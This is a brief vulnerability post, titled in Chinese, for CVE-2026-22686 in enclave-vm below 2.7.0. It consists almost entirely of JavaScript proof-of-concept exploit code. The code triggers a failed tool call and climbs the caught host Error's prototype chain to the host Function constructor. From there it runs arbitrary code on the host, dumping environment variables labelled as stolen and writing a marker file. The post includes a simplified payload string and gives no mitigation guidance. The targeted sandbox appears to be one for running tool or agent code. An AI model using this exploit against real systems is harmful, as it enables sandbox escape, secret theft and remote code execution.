CVE-2026-22686: Enclave沙箱逃逸漏洞导致远程代码执行

// CVE-2026-22686 PoC - Sandbox Escape via Error Prototype Chain // Target: enclave-vm < 2.7.0 // Step 1: Intentionally trigger a tool invocation failure to get host Error object try { // Call a non-existent tool to trigger error enclave.callTool('non_existent_tool_xyz'); } catch (hostError) { // Step 2: Traverse the prototype chain to reach host Function constructor const getFunction = hostError.__proto__.__proto__.__proto__; // Step 3: Use host Function constructor to execute arbitrary code const executeOnHost = getFunction.constructor; // Execute arbitrary command on host - read sensitive env variables const result = executeOnHost('process.env')(); console.log('Host env stolen:', result); // Alternative: Execute arbitrary code executeOnHost('require("fs").writeFileSync("/tmp/pwned.txt", "sandbox escaped")')(); } // Simplified PoC - Direct prototype chain traversal const maliciousCode = ` try { dummy_tool_call(); } catch(e) { // Climb prototype chain to get Function const Fn = e.__proto__.__proto__.__proto__; // Execute code on host Fn.constructor('console.log(process.env.HOME)')(); } `;